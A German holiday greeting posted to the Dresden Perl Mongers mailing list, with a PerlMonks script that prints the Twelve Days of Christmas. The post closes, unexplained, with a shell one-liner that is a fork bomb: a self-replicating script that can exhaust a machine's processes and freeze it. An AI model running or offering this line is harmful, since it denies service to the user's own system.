[Dresden-pm] Frohes Fest! Guten Rutsch!

[Joerg Westphal]

Hallo Mongers,

das Treffen zum vorweihnachtlichen Termin hat ja nicht stattgefunden und über 
die Feiertage werden allen die Gänsebeine aus dem Hals gucken, so das ich mal 
davon ausgehe, dass wir uns doch erst nächstes Jahr sehen. Deshalb an alle 
einen "Guten Rutsch!" 
Möge Morpheus euch am nächsten Tage lange in seinem Traumland behalten und den 
obligatorischen "Haarwurzelkatharr" entfallen lassen.

Und natürlich ein poetry von den perlmonks:

use strict;
use warnings;

my @prefix = (
    'first',
    'second',
    'third',
    'fourth',
    'fifth',
    'sixth',
    'seventh',
    'eighth',
    'ninth',
    'tenth',
    'eleventh',
    'twelfth',
);

my @gifts = (
    'a partridge in a pear tree',
    'two turtle doves',
    'three French hens',
    'four calling birds',
    'five golden rings',
    'six geese a-laying',
    'seven swans a-swimmings',
    'eight maids a-milkings',
    'nine ladies dancing',
    'ten lords a-leaping',
    'eleven pipers piping',
    'twelve drummers drumming',
);

my $once = 1;

sub todays_gifts {
    my $day = shift(@_);
    print "On the $prefix[$day-1] of Christmas\,\n";
    print "My true love gave to me\, \n";

    do {

        if ($once && $day == 1) { print "$gifts[$day-1].\n\n"; $once--
+; return; }
        if ($day == 1) { print "and $gifts[$day-1].\n\n"; return; }

        print "$gifts[$day-1],\n"; 
        $day--;
    } while ($day >= 1);
    print "\n";

}

for (1..12) { todays_gifts $_; }


$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;


Gruß  Jörg